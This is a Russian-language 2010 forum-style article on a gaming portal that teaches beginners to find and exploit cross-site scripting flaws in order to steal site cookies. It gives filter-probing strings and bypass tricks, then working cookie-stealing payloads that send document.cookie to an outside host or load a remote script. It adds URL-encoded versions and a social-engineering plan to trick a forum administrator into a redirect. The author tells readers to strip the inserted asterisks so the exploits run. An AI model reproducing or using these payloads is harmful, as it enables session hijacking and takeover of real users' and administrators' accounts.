Логин:
Пароль:
EnterGame - Игровой портал. На сайте присутствуют игры различных жанров, и другие файлы тематик, таких как: uCoz, DLE, Adobe product, Soft, Films, и Другое.
Мы рады видеть Вас на нашем ресурсе.

Добро пожаловать к нам на сайт


На сайте строго запрещены внешние ссылки рекламного характера. Так же запрещён флуд в любом проявлении, спам и мат. Правила простые, если не хотите быть забаненным примите их и не нарушайте. Более подробно с правилами Вы можете ознакомиться перейдя на форум


Меню сайта
Меню сайта
Мини-чат
200
Главная » 2010 » Сентябрь » 14 » Атаки класса XSS
23:46
Атаки класса XSS
Атаки класса XSS
Привет!!!
В этой теме я хочу детально описать XSS от A до Я.
Есть много инфы по XSS , но ни в 1-ой из статей я не нашёл хорошего объяснения для новичков , извините если я ошибаюсь...
Статью не полностю написал я , кое-что нашел в нете , кое-что на различных форумах соответствующей тематики =)
И так приступим . . .

=========================================================================================
XSS - это атаки класса Cross Site Scripting и чтобы не путать с CSS (каскадные таблици стилей) , их также назвыают XSS (Cross от англ. - крест , поэтому заменён на X , остальное оставленно без изменения)
Впервые этот БАГ появился в 1997 г.

==========================================================================================
Как же используют XSS ?

Для начала нам нужно знать , что такое Cookie.

Если вы знаете , можете пропустить.
Cookie - это временные файлы , служащие для сохранения учетных данных сайта на компьютере поситителя.
Если вы зарегестрировались на сайте под ником " blablabla " , то сайт сохранит у вас на компьютере файл с cookies , где закодированы ваши данные.
А если вы админ и у вас есть доступ к сайту , а я - юзер , который украл у вас ваши cookies(админа) , то я могу спокойно зайти на сайт , и он меня определит как " admin " , т.к. у меня будут администраторские права.
Для изменения куков советую использувать прогу CookieEdit для IE или встроенные функции в Опере и Фаерфоксе.

========================================================================================== 

Мы с вами разобрались , что такое куки , идём дальше . . .
Чтобы перехватить cookies надо найти место на сайте , где можно выполнить XSS-атаку (полигон наших манёвров =) )

Что такое XSS-атака ?

XSS атаки - это атаки направленные не на сам сайт , а на пользователей сайта.
XSS - недоработка в фильтре.
Бывают пассивные XSS и активные XSS.

Что такое пассивные XSS?

Пассивные XSS - это такие XSS , которые требуют от жертвы непосредственного участия + есть специфические ограничения и сложности.
Поэтому пассивные XSS не очень ценятся.
Например нужно заставить жертву =) перейти по ядовитой ссылке , что потребует социальной инженерии и хитрости.
Активные XSS - это такие XSS , которые не требуют никаких дополнительных действий со стороны жертвы - ей достаточно лишь открыть страницу с вашим XSS , ява-код сделает свою работу , выполнится автоматически.
Благодаря своей автоматизированности - они очень полезны и ценны.
Например активные XSS существуют в BB - тегах из-за недостаточной фильтрации , когда вы оставляете сообщение на форуме , гостевой , чате , которое будет всегда активным при каждом обновлении!!!

=========================================================================================== 

Как найти в данном сайте XSS ?

Как я раньше уже писал , XSS состоит из тегов , они же состоят из html и javascript языка =).
Javascript можно вставлять в html.
Можно кодировать , чтобы обойти фильтры.
Но об этом позже.

Как узнать , что XSS на даном сайте проходит?

Ужасна распрастраннёная узявимость типа [scr*ipt]ale*rt()[/scr*ipt] , пытаемся вставить во все различные поля этот скрипт . . . если вышло пустое сообщение значит скрипт обработался и выполнился, а это уже не мало =)
Самая распостраненая XSS (наблюдаеться во всех местах где плохая фильтрация) : "][scr*ipt]ale*rt()[/scr*ipt]
Вся суть в ">
Давайте подумаем , что мы делаем , когда вводим в поле "][scr*ipt]ale*rt()[/scr*ipt] , что происходит?
Мы вводим в форму "][scr*ipt]ale*rt()[/scr*ipt] , переменной присваиваеться значение поля.
Переменная обрабатывается , "> выполняеться , закрывает скрипт и выпролняет [scr*ipt]ale*rt()[/scr*ipt]
Эта XSS самая распостраненная в поисковиках :
Просматриваем все поля сайта и пытаемся вставить "][scr*ipt]ale*rt()[/scr*ipt]
Если вышло сообщение - вы нашли XSS . . .

========================================================================================== 

Как определить есть фильтр или нет ?

Просто в любое поле вводим : '';!--"=&{()}
Дальше открываем html страничку и ищем слово " fuck " и смотри последующие символы . . .
Если <> так и остались , то это первый признак уязвимости - фильтр имеет дырку.
Если "' символы остались такими , как были введены - это второй признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем если открыв HTML вы не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили , что <> заменены на другие символы, то это облом - фильтр по крайней мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот такое : "><>'",/?@%
Рассмотрим случай если фильтр съедает <>
В этом случае существует вероятность дырки.
К примеру у фильтра условие съедать [scr*ipt] ,<> и .
Тогда пробуем [zxcvbnzxc792] и смотрим , если не съелось - нашли дырку . . . дальше можно составить боевой XSS-скрипт.
Так же существует метод вложенного скрипта , к примеру вот так : [sc[scr*ipt]ript]ale*rt()[/sc[/scr*ipt]ript] - если фильтр не очень сильный и плохо фильтрует.
Еще можно попробовать вот так :
]]]][[scr*ipt - бывает , что фильтр подсчитывает открытые и закрытые скобки и закрывает сам.
Сначала фильтрует , а потом закрывает . . . что дает нам дырку к инъекции скрипта.
Частенько бывает , что фильтр дополняет скрипт , к примеру вот этим : ">
******.ru/trye.asp?sessionID="][IMG%20src="http://r3al.ru/java scr*ipt:ale*rt();
Фильтр смотрит , что ничего опасного в [IMG%20src="http://r3al.ru/java scr*ipt:ale*rt(); нет и закрывает , тем самым выполняя скрипт.
Еще конечно если фильтр не фильтрует различные кодировки , то можно попытаться закодировать скрипт и вставить код.
Надо пытаться , эксперементировать , методом проб и ошибок искать . . .
Пытаться вводить в поля и внимательно просматривать , что мы получили от фильтра.
Методом тыков понять , как фильтр работает , есть ли у него недоработки.
Если фильтр плохой , мы всегда можем вставить скрипты.

===========================================================================================

Активные XSS ! ! !

Необходимо использовать разрешенные теги , прекрываясь ими , выполнить запрос.
Например , теги url , bb , img.
Весь смысл вставки заключается в том , что нам надо встроить запрос в париметр img или url.
У Img есть много парметров кроме src и alt.
Этот баг очень часто используется на форуме и в гостевухах . . .

Рассмотрим активные XSS.

К примеру просмотрим форум на наличие использования тегов [font] , [img] , [url] и попытаемся вставить в них скрипт или комбинировать их . . .
[img]httр://www.qwewqw.ru/1.jpg[/img] Выходит крестик . . . значит img используется и мы его подобрали (просто дело в том , что бывает img включен , а админы из создания сообщения его убирают , мол картинки вставлять нельзя и бывает он в использовании разной формы) , если крестика нет . . . а висит всего надпись , то попробуйте еще так :
[img src=httр://www.qwewqw.ru/1.jpg]
Так вот к примеру мы добились крестика этим :
[img]httр://www.qweqw.ru/1.jpg[/img]
Проверим держит ли фильтр пробел , добавляем пробел после расширения jpg :
[img]httр://www.qweqw.ru/1.jpg [/img] , если крестик есть - тогда всё ОК.
Далее существуют у img параметры dynsrc и lowsrc , которые держат яваскрипт.
Пытаемся вставить :
[img]http://www.qwewqw.ru/1.jpg dynsrc=java scr*ipt:ale*rt()[/img] проверяем , отсылаем - если появится сообщение - значит нашли активную XSS и вместо ale*rt() можете вставить любой скрипт =)
Если фильтр не сдался попробуем так :
[img]http://www.qweqw.ru/"/dynsrc="http://r3al.ru/java scr*ipt:ale*rt()" /1.jpg[/img]
или
[img]http://www.qwewqw.ru/"/dynsrc=java scr*ipt:ale*rt()/1.jpg[/img]
Если с приведённых примеров получился крестик , то httр://www.qweqw.ru/1.jpg , заменяем на адрес сниффера.
Бывают случаи , когда jpg отключен админом.

=========================================================================================== 

Мы всё время делали коды типа :
[scr*ipt]ale*rt('HakNet')[/scr*ipt]
java scr*ipt:ale*rt('HakNet')
java scr*ipt:ale*rt('HakNet')/1.jpg и т.д.
Но они никакой пользы не принесли , это просто коды для проверки на XSS.
Вот скрипт :
[scr*ipt]img = new Image();img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;[/scr*ipt]
Вот он уже ворует куки =)

====================================================================================== 

Как его подставить к ссылке с XSS?
Да очень просто . . .
Есть несколко вариантов :

1) делаем вот так :
*****.ru/free?p='][scr*ipt]img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"[/scr*ipt] , где **** наш сайт с XSS.
Вот сам составленый скрипт :
'][scr*ipt]img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;[/scr*ipt]

2)Можно ещё делать вот так :
*****.ru/free?p='][scr*ipt src=http://haknet.h16.ru/script/js.js][/scr*ipt] , где обращаетса к haknet.h16.ru/scr*ipt/js.js , а в js.js уже будет :
img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;
Этот способ более надёжен.

Но как я уже писал - иногда бывают затруднения с фильтрами на сайте (не прокатывает наш скрипт).
Тогда нужно подумать , как его обойти.
Можно просто нечто добавить , нечто поменять , или удалить в скрипте.
Но есть более надёжный вариант !
Мы просто закодируем наш скрипт , для этого существует много программ.
Есть такой сайт , как ha.ckers.org/xss.html (кодировщик-дэкодировщик).
Вот пример :
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E[scr*ipt%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
Здесь закодированный :
*****.ru/free?p='][scr*ipt src=http://haknet.h16.ru/scr*ipt/js.js][/scr*ipt]

3) Особенно шифрование необходимо не только для обмана фильтров , но и для обмана АДМИНА при использовании ПАССИВНОЙ ХSS.
Вот такой пример на основе социальной инженерии.
Ищем контакт с админом форума , бросаем в форуме ему линк на свой сайт , и говоришь типа так "клевая фича есть на сайте" и т.д. и т.п.
А на нашем сайте будет как вы уже догадались =) вот ето скрипт :
[scr*ipt language="JavaScri*pt"]
document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E[scr*ipt%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
[/scr*ipt]

Что делает document.location.href вы спросите меня? ))... это ява-код , который без запроса переходит на указаной сайт , так что ж у нас получается , дали мы линк админу , он зашел на наш сайт , вот что делается . . . его быстро бросает на
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E[scr*ipt%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E , а это уже и есть наш XSS в зашифрованном виде.

Примечание : ТРУДНОСТЬ ПАССИВНОЙ ХSS состоит в том , что уязвимость может быть использована ТОЛЬКО , если жертва АВТОРИЗОВАНА на уязвимом сайте !

Знаки <> заменены на подобные [] , в тегах вставленны * , для правильного и коректного отображения статьи ! ! !
Чтобы наши скриптовые сплоиты работали коректно необходимо лишь убрать лишние звёздочки ! ! !
Всё ! Всем удачи . . .
мир любви
Просмотров: 2822 | Добавил: Kill_Mee | Теги: класса, xss, атаки | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Реклама
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Наш опрос
Оцените мой сайт
Всего ответов: 48
Онлайн лист
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реквизиты
R511219202404
Z383448932540
U988239352738